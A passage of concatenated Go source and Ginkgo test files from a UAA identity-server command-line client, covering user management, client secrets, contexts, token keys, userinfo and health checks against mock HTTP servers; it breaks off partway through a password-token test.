ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("If-Match", "10"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyJSON(`{ "active": false }`),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
err := um.Deactivate("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", 10)
Expect(err).NotTo(HaveOccurred())
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns helpful error when /Users/userid request fails", func() {
uaaServer.RouteToHandler("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
err := um.Deactivate("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", 0)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
})
Describe("UserManager#Activate", func() {
It("activates user using userID string", func() {
uaaServer.RouteToHandler("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("If-Match", "10"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyJSON(`{ "active": true }`),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
err := um.Activate("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", 10)
Expect(err).NotTo(HaveOccurred())
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns helpful error when /Users/userid request fails", func() {
uaaServer.RouteToHandler("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
err := um.Activate("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", 0)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
})
Describe("UserManager#GetByUsername", func() {
Context("when no username is specified", func() {
It("returns an error", func() {
_, err := um.GetByUsername("", "", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(Equal("Username may not be blank."))
})
})
Context("when an origin is specified", func() {
It("looks up a user with SCIM filter", func() {
user := ScimUser{Username: "marcus", Origin: "uaa"}
response := PaginatedResponse(user)
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, response),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22+and+origin+eq+%22uaa%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
user, err := um.GetByUsername("marcus", "uaa", "")
Expect(err).NotTo(HaveOccurred())
Expect(user.Username).To(Equal("marcus"))
})
It("returns an error when request fails", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22+and+origin+eq+%22uaa%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.GetByUsername("marcus", "uaa", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("An unknown error"))
})
It("returns an error if no results are found", func() {
response := PaginatedResponse()
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, response),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22+and+origin+eq+%22uaa%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.GetByUsername("marcus", "uaa", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(Equal(`User marcus not found in origin uaa`))
})
})
Context("when no origin is specified", func() {
It("looks up a user with a SCIM filter", func() {
user := ScimUser{Username: "marcus", Origin: "uaa"}
response := PaginatedResponse(user)
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, response),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
user, err := um.GetByUsername("marcus", "", "")
Expect(err).NotTo(HaveOccurred())
Expect(user.Username).To(Equal("marcus"))
})
It("returns an error when request fails", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.GetByUsername("marcus", "", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("An unknown error"))
})
It("returns an error when no users are found", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, PaginatedResponse()),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.GetByUsername("marcus", "", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(Equal(`User marcus not found.`))
})
It("returns an error when username found in multiple origins", func() {
user1 := ScimUser{Username: "marcus", Origin: "uaa"}
user2 := ScimUser{Username: "marcus", Origin: "ldap"}
user3 := ScimUser{Username: "marcus", Origin: "okta"}
response := PaginatedResponse(user1, user2, user3)
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, response),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.GetByUsername("marcus", "", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(Equal(`Found users with username marcus in multiple origins [uaa, ldap, okta].`))
})
})
Context("when attributes are specified", func() {
It("adds them to the GET request", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, PaginatedResponse(ScimUser{Username: "marcus", Origin: "uaa"})),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22&attributes=userName%2Cemails"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.GetByUsername("marcus", "", "userName,emails")
Expect(err).NotTo(HaveOccurred())
})
It("adds them to the GET request", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, PaginatedResponse(ScimUser{Username: "marcus", Origin: "uaa"})),
ghttp.VerifyRequest("GET", "/Users", "filter=userName+eq+%22marcus%22+and+origin+eq+%22uaa%22&attributes=userName%2Cemails"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.GetByUsername("marcus", "uaa", "userName,emails")
Expect(err).NotTo(HaveOccurred())
})
})
})
Describe("UserManager#List", func() {
It("can accept a filter query to limit results", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, userListResponse),
ghttp.VerifyRequest("GET", "/Users", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
resp, err := um.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Resources[0].Username).To(Equal("<EMAIL>"))
Expect(resp.Resources[1].Username).To(Equal("<EMAIL>"))
})
It("gets all users when no filter is passed", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, userListResponse),
ghttp.VerifyRequest("GET", "/Users", ""),
))
resp, err := um.List("", "", "", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Resources[0].Username).To(Equal("<EMAIL>"))
Expect(resp.Resources[1].Username).To(Equal("<EMAIL>"))
})
It("can accept an attributes list", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, userListResponse),
ghttp.VerifyRequest("GET", "/Users", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22&attributes=userName%2Cemails"),
))
resp, err := um.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "userName,emails", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Resources[0].Username).To(Equal("<EMAIL>"))
Expect(resp.Resources[1].Username).To(Equal("<EMAIL>"))
})
It("can accept sortBy", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, userListResponse),
ghttp.VerifyRequest("GET", "/Users", "sortBy=userName"),
))
_, err := um.List("", "userName", "", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
})
It("can accept count", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, userListResponse),
ghttp.VerifyRequest("GET", "/Users", "count=10"),
))
_, err := um.List("", "", "", "", 0, 10)
Expect(err).NotTo(HaveOccurred())
})
It("can accept sort order ascending/descending", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, userListResponse),
ghttp.VerifyRequest("GET", "/Users", "sortOrder=ascending"),
))
_, err := um.List("", "", "", SORT_ASCENDING, 0, 0)
Expect(err).NotTo(HaveOccurred())
})
It("can accept startIndex", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, userListResponse),
ghttp.VerifyRequest("GET", "/Users", "startIndex=10"),
))
_, err := um.List("", "", "", "", 10, 0)
Expect(err).NotTo(HaveOccurred())
})
It("returns an error when /Users doesn't respond", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("GET", "/Users", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "", "", 0, 0)
Expect(err).To(HaveOccurred())
})
It("returns an error when response is unparseable", func() {
uaaServer.RouteToHandler("GET", "/Users", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, "{unparsable}"),
ghttp.VerifyRequest("GET", "/Users", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "", "", 0, 0)
Expect(err).To(HaveOccurred())
})
})
Describe("UserManager#Create", func() {
var user ScimUser
BeforeEach(func() {
user = ScimUser{
Username: "<EMAIL>",
Active: NewTrueP(),
}
user.Name = &ScimUserName{GivenName: "Marcus", FamilyName: "Aurelius"}
})
It("performs POST with user data and bearer token", func() {
uaaServer.RouteToHandler("POST", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Users"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{ "userName": "<EMAIL>", "active": true, "name" : { "familyName" : "Aurelius", "givenName" : "Marcus" }}`),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
um.Create(user)
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns the created user", func() {
uaaServer.RouteToHandler("POST", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Users"),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
user, _ := um.Create(user)
Expect(user.Username).To(Equal("<EMAIL>"))
Expect(user.ExternalId).To(Equal("marcus-user"))
})
It("returns error when response cannot be parsed", func() {
uaaServer.RouteToHandler("POST", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Users"),
ghttp.RespondWith(http.StatusOK, "{unparseable}"),
))
_, err := um.Create(user)
Expect(err).To(HaveOccurred())
})
It("returns error when response is not 200 OK", func() {
uaaServer.RouteToHandler("POST", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Users"),
ghttp.RespondWith(http.StatusBadRequest, ""),
))
_, err := um.Create(user)
Expect(err).To(HaveOccurred())
})
})
Describe("UserManager#Update", func() {
var user ScimUser
BeforeEach(func() {
user = ScimUser{
Username: "<EMAIL>",
Active: NewTrueP(),
}
user.Name = &ScimUserName{GivenName: "Marcus", FamilyName: "Aurelius"}
})
It("performs PUT with user data and bearer token", func() {
uaaServer.RouteToHandler("PUT", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Users"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{ "userName": "<EMAIL>", "active": true, "name" : { "familyName" : "Aurelius", "givenName" : "Marcus" }}`),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
um.Update(user)
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns the updated user", func() {
uaaServer.RouteToHandler("PUT", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Users"),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
user, _ := um.Update(user)
Expect(user.Username).To(Equal("<EMAIL>"))
Expect(user.ExternalId).To(Equal("marcus-user"))
})
It("returns error when response cannot be parsed", func() {
uaaServer.RouteToHandler("PUT", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Users"),
ghttp.RespondWith(http.StatusOK, "{unparseable}"),
))
_, err := um.Update(user)
Expect(err).To(HaveOccurred())
})
It("returns error when response is not 200 OK", func() {
uaaServer.RouteToHandler("PUT", "/Users", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Users"),
ghttp.RespondWith(http.StatusBadRequest, ""),
))
_, err := um.Update(user)
Expect(err).To(HaveOccurred())
})
})
Describe("UserManager#Delete", func() {
It("performs DELETE with user data and bearer token", func() {
uaaServer.RouteToHandler("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
um.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns the deleted user", func() {
uaaServer.RouteToHandler("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
user, _ := um.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(user.Username).To(Equal("<EMAIL>"))
Expect(user.ExternalId).To(Equal("marcus-user"))
})
It("returns error when response cannot be parsed", func() {
uaaServer.RouteToHandler("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.RespondWith(http.StatusOK, "{unparseable}"),
))
_, err := um.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(err).To(HaveOccurred())
})
It("returns error when response is not 200 OK", func() {
uaaServer.RouteToHandler("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.RespondWith(http.StatusBadRequest, ""),
))
_, err := um.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(err).To(HaveOccurred())
})
})
})
<file_sep>/cmd/set_client_secret_test.go
package cmd_test
import (
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/gbytes"
. "github.com/onsi/gomega/gexec"
. "github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("SetClientSecret", func() {
BeforeEach(func() {
c := uaa.NewConfigWithServerURL(server.URL())
c.AddContext(uaa.NewContextWithToken("access_token"))
config.WriteConfig(c)
})
It("can update client secrets", func() {
server.RouteToHandler("PUT", "/oauth/clients/shinyclient/secret", CombineHandlers(
VerifyRequest("PUT", "/oauth/clients/shinyclient/secret"),
VerifyJSON(`{"clientId":"shinyclient","secret":"shinysecret"}`),
VerifyHeaderKV("Authorization", "bearer access_token"),
RespondWith(http.StatusOK, "{}"),
),
)
session := runCommand("set-client-secret", "shinyclient", "-s", "shinysecret")
Expect(session.Out).To(Say("The secret for client shinyclient has been successfully updated."))
Eventually(session).Should(Exit(0))
})
It("displays error when request fails", func() {
server.RouteToHandler("PUT", "/oauth/clients/shinyclient/secret", CombineHandlers(
VerifyRequest("PUT", "/oauth/clients/shinyclient/secret"),
VerifyJSON(`{"clientId":"shinyclient","secret":"shinysecret"}`),
VerifyHeaderKV("Authorization", "bearer access_token"),
RespondWith(http.StatusUnauthorized, "{}"),
),
)
session := runCommand("set-client-secret", "shinyclient", "-s", "shinysecret")
Expect(session.Err).To(Say("The secret for client shinyclient was not updated."))
Expect(session.Out).To(Say("Retry with --verbose for more information."))
Eventually(session).Should(Exit(1))
})
It("complains when there is no active target", func() {
config.WriteConfig(uaa.NewConfig())
session := runCommand("set-client-secret", "shinyclient", "-s", "shinysecret")
Expect(session.Err).To(Say("You must set a target in order to use this command."))
Eventually(session).Should(Exit(1))
})
It("complains when there is no active context", func() {
c := uaa.NewConfig()
t := uaa.NewTarget()
c.AddTarget(t)
config.WriteConfig(c)
session := runCommand("set-client-secret", "shinyclient", "-s", "shinysecret")
Expect(session.Err).To(Say("You must have a token in your context to perform this command."))
Eventually(session).Should(Exit(1))
})
It("supports zone switching", func() {
server.RouteToHandler("PUT", "/oauth/clients/shinyclient/secret", CombineHandlers(
VerifyRequest("PUT", "/oauth/clients/shinyclient/secret"),
VerifyJSON(`{"clientId":"shinyclient","secret":"shinysecret"}`),
VerifyHeaderKV("Authorization", "bearer access_token"),
VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
RespondWith(http.StatusOK, "{}"),
),
)
session := runCommand("set-client-secret", "shinyclient", "-s", "shinysecret", "--zone", "twilight-zone")
Expect(session.Out).To(Say("The secret for client shinyclient has been successfully updated."))
Eventually(session).Should(Exit(0))
})
It("complains when no secret is provided", func() {
session := runCommand("set-client-secret", "shinyclient")
Expect(session.Err).To(Say("Missing argument `client_secret` must be specified."))
Eventually(session).Should(Exit(1))
})
It("complains when no clientid is provided", func() {
session := runCommand("set-client-secret", "-s", "shinysecret")
Expect(session.Err).To(Say("Missing argument `client_id` must be specified."))
Eventually(session).Should(Exit(1))
})
})
<file_sep>/cmd/contexts.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/help"
"github.com/olekukonko/tablewriter"
"github.com/spf13/cobra"
"os"
)
var contextsCmd = cobra.Command{
Use: "contexts",
Short: "List available contexts for the currently targeted UAA",
Long: help.Context(),
Run: func(cmd *cobra.Command, args []string) {
c := GetSavedConfig()
if c.ActiveTargetName == "" {
log.Error("No contexts are currently available.")
log.Error(`To get started, target a UAA and fetch a token. See "uaa target -h" for details.`)
os.Exit(1)
}
if len(c.GetActiveTarget().Contexts) == 0 {
log.Error("No contexts are currently available.")
log.Error(`Use a token command such as "uaa get-password-token" or "uaa get-client-credentials-token" to fetch a token and create a context.`)
os.Exit(1)
}
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"ClientId", "Username", "Grant Type"})
for _, context := range c.GetActiveTarget().Contexts {
table.Append([]string{context.ClientId, context.Username, string(context.GrantType)})
}
table.Render()
},
}
func init() {
RootCmd.AddCommand(&contextsCmd)
contextsCmd.Annotations = make(map[string]string)
contextsCmd.Annotations[INTRO_CATEGORY] = "true"
contextsCmd.Hidden = true
}
<file_sep>/uaa/token_key.go
package uaa
import (
"encoding/json"
"net/http"
)
type JWK struct {
Kty string `json:"kty"`
E string `json:"e,omitempty"`
Use string `json:"use"`
Kid string `json:"kid"`
Alg string `json:"alg"`
Value string `json:"value"`
N string `json:"n,omitempty"`
}
func TokenKey(client *http.Client, config Config) (JWK, error) {
body, err := UnauthenticatedRequester{}.Get(client, config, "token_key", "")
if err != nil {
return JWK{}, err
}
key := JWK{}
err = json.Unmarshal(body, &key)
if err != nil {
return JWK{}, parseError("/token_key", body)
}
return key, nil
}
<file_sep>/uaa/me_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("Me", func() {
var (
server *ghttp.Server
client *http.Client
config Config
userinfoJson string
)
BeforeEach(func() {
server = ghttp.NewServer()
client = &http.Client{}
config = NewConfigWithServerURL(server.URL())
userinfoJson = `{
"user_id": "d6ef6c2e-02f6-477a-a7c6-18e27f9a6e87",
"sub": "d6ef6c2e-02f6-477a-a7c6-18e27f9a6e87",
"user_name": "charlieb",
"given_name": "Charlie",
"family_name": "Brown",
"email": "<EMAIL>",
"phone_number": null,
"previous_logon_time": 1503123277743,
"name": "<NAME>"
}`
})
AfterEach(func() {
server.Close()
})
It("calls the /userinfo endpoint", func() {
server.RouteToHandler("GET", "/userinfo", ghttp.CombineHandlers(
ghttp.RespondWith(200, userinfoJson),
ghttp.VerifyRequest("GET", "/userinfo", "scheme=openid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
config.AddContext(NewContextWithToken("access_token"))
userinfo, _ := Me(client, config)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(userinfo.UserId).To(Equal("d6ef6c2e-02f6-477a-a7c6-18e27f9a6e87"))
Expect(userinfo.Sub).To(Equal("d6ef6c2e-02f6-477a-a7c6-18e27f9a6e87"))
Expect(userinfo.Username).To(Equal("charlieb"))
Expect(userinfo.GivenName).To(Equal("Charlie"))
Expect(userinfo.FamilyName).To(Equal("Brown"))
Expect(userinfo.Email).To(Equal("<EMAIL>"))
})
It("returns helpful error when /userinfo request fails", func() {
server.RouteToHandler("GET", "/userinfo", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/userinfo", "scheme=openid"),
ghttp.RespondWith(500, "error response"),
ghttp.VerifyRequest("GET", "/userinfo"),
))
config.AddContext(NewContextWithToken("access_token"))
_, err := Me(client, config)
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns helpful error when /userinfo response can't be parsed", func() {
server.RouteToHandler("GET", "/userinfo", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/userinfo", "scheme=openid"),
ghttp.RespondWith(200, "{unparsable-json-response}"),
ghttp.VerifyRequest("GET", "/userinfo"),
))
config.AddContext(NewContextWithToken("access_token"))
_, err := Me(client, config)
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
Expect(err.Error()).To(ContainSubstring("Response was {unparsable-json-response}"))
})
})
<file_sep>/uaa/health.go
package uaa
import (
"code.cloudfoundry.org/uaa-cli/utils"
"net/http"
)
type UaaHealthStatus string
const (
OK = UaaHealthStatus("ok")
ERROR = UaaHealthStatus("health_error")
)
func Health(target Target) (UaaHealthStatus, error) {
url, err := utils.BuildUrl(target.BaseUrl, "healthz")
if err != nil {
return "", err
}
resp, err := http.Get(url.String())
if err != nil {
return "", nil
}
if resp.StatusCode == 200 {
return OK, nil
} else {
return ERROR, nil
}
}
<file_sep>/config/config_suite_test.go
package config_test
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
"testing"
)
func TestClient(t *testing.T) {
RegisterFailHandler(Fail)
RunSpecs(t, "Config Suite")
}
var _ = BeforeEach(func() {
config.RemoveConfig()
})
var _ = AfterEach(func() {
config.RemoveConfig()
})
func NewContextWithToken(accessToken string) uaa.UaaContext {
ctx := uaa.UaaContext{}
ctx.AccessToken = accessToken
return ctx
}
<file_sep>/uaa/health_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
)
var _ = Describe("Health", func() {
var (
server *ghttp.Server
config Config
)
BeforeEach(func() {
server = ghttp.NewServer()
config = NewConfigWithServerURL(server.URL())
})
AfterEach(func() {
server.Close()
})
It("calls the /healthz endpoint", func() {
server.RouteToHandler("GET", "/healthz", ghttp.RespondWith(200, "ok"))
server.AppendHandlers(ghttp.VerifyRequest("GET", "/healthz"))
status, _ := Health(config.GetActiveTarget())
Expect(status).To(Equal(OK))
})
It("returns error status when non-200 response", func() {
server.RouteToHandler("GET", "/healthz", ghttp.RespondWith(400, "ok"))
server.AppendHandlers(ghttp.VerifyRequest("GET", "/healthz"))
status, _ := Health(config.GetActiveTarget())
Expect(status).To(Equal(ERROR))
})
})
<file_sep>/cmd/get_password_token_test.go
package cmd_test
import (
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/gbytes"
. "github.com/onsi/gomega/gexec"
. "github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("GetPasswordToken", func() {
var opaqueTokenResponseJson = `{
"access_token" : "bc<PASSWORD>",
"refresh_token" : "<PASSWORD>",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "bc4885d950854fed9a938e96b13ca519"
}`
var jwtTokenResponseJson = `{
"access_token" : "<KEY>",
"refresh_token" : "<KEY>",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "bc4<PASSWORD>a938e96b13ca519"
}`
var c uaa.Config
var ctx uaa.UaaContext
Describe("and a target was previously set", func() {
BeforeEach(func() {
c = uaa.NewConfigWithServerURL(server.URL())
config.WriteConfig(c)
ctx = c.GetActiveContext()
})
Describe("when the --verbose option is used", func() {
It("shows extra output about the request on success", func() {
server.RouteToHandler("POST", "/oauth/token",
RespondWith(http.StatusOK, jwtTokenResponseJson),
)
session := runCommand("get-password-token",
"admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret",
"--verbose")
Eventually(session).Should(Exit(0))
Expect(session.Out).To(Say("POST /oauth/token"))
Expect(session.Out).To(Say("Accept: application/json"))
Expect(session.Out).To(Say("200 OK"))
})
It("shows extra output about the request on error", func() {
server.RouteToHandler("POST", "/oauth/token",
RespondWith(http.StatusBadRequest, "garbage response"),
)
session := runCommand("get-password-token",
"admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret",
"--verbose")
Eventually(session).Should(Exit(1))
Expect(session.Out).To(Say("POST /oauth/token"))
Expect(session.Out).To(Say("Accept: application/json"))
Expect(session.Out).To(Say("400 Bad Request"))
Expect(session.Out).To(Say("garbage response"))
})
})
Describe("when successful", func() {
BeforeEach(func() {
config.WriteConfig(c)
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, jwtTokenResponseJson),
VerifyFormKV("client_id", "admin"),
VerifyFormKV("client_secret", "adminsecret"),
VerifyFormKV("grant_type", "password"),
),
)
})
It("displays a success message", func() {
session := runCommand("get-password-token",
"admin",
"-s", "adminsecret",
"--username", "woodstock",
